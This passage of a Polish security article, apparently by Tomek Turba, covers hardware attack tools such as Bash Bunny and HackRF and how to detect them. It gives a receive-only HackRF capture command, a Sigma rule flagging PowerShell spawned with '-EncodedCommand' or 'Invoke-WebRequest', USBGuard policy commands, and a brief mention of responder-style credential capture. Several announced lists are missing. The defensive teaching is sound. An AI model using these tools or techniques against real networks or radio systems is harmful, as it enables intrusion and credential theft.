Kolejny etap testu można wykonać poprzez zamianę ATTACKMODE HID na ATTACKMODE HID ECM_ETHERNET w izolowanym hoście i sprawdzić, czy endpoint lub NAC reaguje na nową kartę sieciową USB. Można też włączyć responder, przechwytywanie poświadczeń i routing.
W logach PnP może pojawić się kilka interfejsów jednego urządzenia złożonego. System utworzy nowy adapter, trasę i profil sieci. Firewall endpointa może zastosować inny zestaw reguł niż dla firmowego Ethernetu lub Wi-Fi. To dobry moment na przetestowanie, czy polityka „Public network” rzeczywiście jest restrykcyjna. Nie należy ufać samym identyfikatorom VID/PID, nazwie producenta ani etykiecie dysku. Reguła urządzeń powinna mówić, jakie klasy USB są dopuszczone na danej grupie hostów. Na kiosku czy stacji uprzywilejowanej nowa karta sieciowa USB może być zawsze blokowana. Na laptopie administratora może wymagać ręcznego zatwierdzenia.
Bash Bunny jest większy, droższy i bardziej zauważalny od prostego injectora HID. Tryby ECM i RNDIS zachowują się inaczej na macOS, Linuksie i Windowsie. Host może potrzebować chwili na inicjalizację sterownika. Im więcej osobowości USB w jednym payloadzie, tym więcej punktów awarii – i jednocześnie więcej telemetrii dla obrony.
HackRF One (rysunek 13) jest szerokopasmowym SDR-em pracującym od 1 MHz do 6 GHz. Może odbierać i nadawać, ale działa half-duplex, przetwarza próbki I/Q z rozdzielczością 8 bitów i osiąga do 20 milionów próbek na sekundę. PortaPack dodaje ekran, sterowanie i możliwość pracy bez laptopa. Firmware Mayhem udostępnia między innymi analizę widma, odbiorniki, narzędzia diagnostyczne i aplikacje dla wielu popularnych sygnałów.
HackRF Pro jest nowszym urządzeniem i zachowuje zgodność z oprogramowaniem oraz większością akcesoriów HackRF. Nie unieważnia jednak tego rozdziału: dojrzałość PortaPack H2/H4M i aktywnie rozwijany Mayhem nadal czynią zestaw z HackRF One bardzo praktycznym narzędziem terenowym. Kompletując sprzęt od zera, warto porównać obie generacje; korzystając z One, nie ma powodu odkładać sensownego labu.

To najbardziej uniwersalne urządzenie z całej listy, ale też najłatwiejsze do błędnego użycia. Pamiętajmy, że SDR sam z siebie jako urządzenie nie rozumie automatycznie funkcji „pilota do bramy”. Widzi próbki napięcia w czasie. Operator musi dobrać antenę, częstotliwość, sample rate, filtry, wzmocnienie, modulację i sposób dekodowania. Szerokie pasmo bez filtrów może przesterować odbiornik, a zła antena sprawi, że świetne urządzenie będzie wyglądało na głuche. Najbezpieczniejszy i bardzo pouczający początek to odbiór własnego nadajnika testowego w paśmie ISM. Bez retransmisji.
Najpierw sprawdzamy urządzenie, wydając komendę hackrf_info.
Następnie zapisujemy dwie sekundy próbek wokół 433,92 MHz. Parametry wzmocnienia trzeba dobrać do własnego stanowiska; większa liczba nie zawsze daje lepszy sygnał (listing 17).
Listing 17. Zapis próbek do loga
| hackrf_transfer \ -r sekurak-433920000.iq \ -f 433920000 \ -s 2000000 \ -l 16 \ -g 20 \ -n 4000000 |
Plik zawiera 8-bitowe próbki I/Q. Można otworzyć go w inspectrum, Universal Radio Hacker albo przetworzyć w GNU Radio. Na początek szukamy długości impulsów i powtarzalności ramek. Nie zakładamy z góry modulacji (rysunek 14).

Na PortaPacku podobną obserwację można wykonać w aplikacji widma/Looking Glass. Wygoda oglądania ekranu jest ogromna podczas pracy w terenie, ale pełna analiza i tak zwykle kończy się na komputerze.
Odbiornik nie emituje charakterystycznego sygnału, więc pozostaje praktycznie niewidoczny radiowo. Obrona powinna zatem wzmacniać sam protokół:
HackRF nie jest miernikiem laboratoryjnym o wysokiej dynamice i nie nadaje jednocześnie z odbiorem. Jego 8-bitowy tor oraz szerokopasmowy frontend wymagają rozsądnego poziomu sygnału, filtrów i uwagi. Rejestracja sygnału nie gwarantuje poprawnego dekodowania, a dekodowanie nie gwarantuje skutecznego odtworzenia. W nowoczesnym systemie replay nie powinien po prostu działać.
Nie istnieje jedna reguła EDR, która rozpozna Cardputera, O.MG, Bash Bunny, Chameleona i HackRF. Można jednak zbudować kilka korelacji opartych na zachowaniu systemów z logów. To znacznie lepsze niż polowanie na nazwę producenta.
Na Windowsie włączamy Audit PNP Activity oraz Audit Process Creation z pełną linią poleceń. Sysmon Event ID 1 daje dodatkowo ProcessGUID, hashe i informacje o procesie nadrzędnym. Następnie szukamy sekwencji (listing 18).
Listing 18. Przykładowy log ideowy z systemu Event Viewer
| T0 Event 6416: nowe urządzenie zewnętrzne / HID / composite USB T0+0-15s Event 4688 lub Sysmon 1: cmd, PowerShell, Terminal, bash, osascript T0+0-30s plik w nietypowym katalogu, nowa trasa, nowy interfejs lub ruch sieciowy |
Przykładowa reguła Sigma dla środkowego elementu łańcucha przedstawiona jest na listingu 19.
Listing 19. Przykładowa reguła Sigma dla środkowego elementu łańcucha
| title: Shell Spawned From Interactive Windows Shell status: experimental logsource: product: windows category: process_creation detection: parent: ParentImage|endswith: – ‘\explorer.exe’ – ‘\ShellExperienceHost.exe’ shell: Image|endswith: – ‘\powershell.exe’ – ‘\pwsh.exe’ – ‘\cmd.exe’ suspicious_cli: CommandLine|contains: – ‘-NoProfile’ – ‘-EncodedCommand’ – ‘Set-Content’ – ‘Invoke-WebRequest’ condition: parent and shell and suspicious_cli falsepositives: – Skrypty administracyjne uruchamiane interaktywnie level: medium |
Sama reguła może generować szum. Po korelacji ze zdarzeniem 6416 i krótkim oknem czasowym staje się znacznie ciekawsza.
Na Linuksie punkt wyjścia daje USBGuard (listing 20).
Listing 20. Uruchomienie USBGuard
| sudo usbguard generate-policy > /etc/usbguard/rules.conf sudo sed -i ‘s/^ImplicitPolicyTarget=.*/ImplicitPolicyTarget=block/’ \ /etc/usbguard/usbguard-daemon.conf sudo systemctl enable –now usbguard |
Wygenerowaną politykę trzeba przejrzeć przed wdrożeniem. Blind allowlista utworzona na przypadkowo podłączonych urządzeniach tylko zamieni błąd dynamiczny w błąd zapisany na stałe.
WIDS powinien mieć inwentaryzację legalnych SSID/BSSID, kanałów i parametrów RSN. Ogłaszamy alert, gdy widzimy:
Najważniejsza warstwa prewencji to poprawny profil EAP-TLS z walidacją certyfikatu serwera. Użytkownik nie powinien móc jednym kliknięciem zaakceptować dowolnego certyfikatu o „ładnej” nazwie.
Jeżeli system autoryzuje na podstawie numeru odczytanego bez uwierzytelnienia, detekcja będzie zawsze walką z konsekwencjami projektu. Docelowo potrzebne są bezpieczne poświadczenia, dywersyfikacja kluczy i backendowa analiza użycia. Na czas migracji warto dodać:
802.1X/EAP-TLS, NAC, ograniczenie liczby adresów MAC, DHCP snooping i segmentacja znacznie utrudniają życie implantom. Port nieużywany powinien być wyłączony, a port konferencyjny nie powinien prowadzić do tej samej sieci, co stacja administratora domeny.
W detekcji liczą się zmiany: nowy fingerprint DHCP, nowy OUI, dodatkowy MAC za portem, stały ruch beaconowy i nietypowy harmonogram aktywności.
HackRF w trybie RX może nie zostawić żadnego śladu. Zabezpieczenie musi znajdować się w protokole: challenge-response, licznik, integralność, krótki czas ważności i odporność na replay. Monitoring widma jest potrzebny w wybranych obiektach, ale nie zastąpi kryptografii.

Nie ma jednego właściwego zestawu. Wybór zależy od tego, jaką powierzchnię rzeczywiście testujemy.
Raspberry Pi 3 jest osobną kategorią. Nie kupujemy funkcji – tworzymy funkcjonalność na sprzęcie, który często już mamy. Właśnie dlatego bywa najbardziej wartościowym elementem całego zestawu.
Fakt, że infrastruktura nadal automatycznie ufa klasie urządzenia, miejscu podłączenia albo identyfikatorowi, który nigdy nie miał być sekretem, powinien być dosyć istotnym sygnałem otwierającym oczy administratorom jak zestawiono na rysunku 15. Rubber Ducky i O.MG pokazują, że klawiatura oraz kabel mogą być aktywnym komputerem. Pineapple przypomina, że klient Wi-Fi również podejmuje decyzje o zaufaniu do nawiazania połączenia z nieznaną siecią Wi-Fi. Proxmark i Chameleon oddzielają identyfikację od kryptograficznego uwierzytelnienia. Raspberry Pi uzmysławia, jak łatwo zwykły komputer jednopłytkowy zmienić w kontrolowany sensor LAN, a Bash Bunny – jak wiele funkcji może mieć jedno USB. HackRF udowadnia natomiast, że zanim zaatakujemy protokół, często trzeba go najpierw zobaczyć.
I to jest chyba najważniejszy wniosek: narzędzie nie zastępuje wiedzy o protokole. Może ją jedynie bardzo szybko zweryfikować.
I tak, wiem, że nie wszystkie urządzenia prezentowane są najnowsze, ale te mam “wygrzane” i sprawdzone w… domu.
~Tomek Turba
30 lipca o godz. 19:00 widzimy się na pokazie takich urządzeń ☺️
Agenda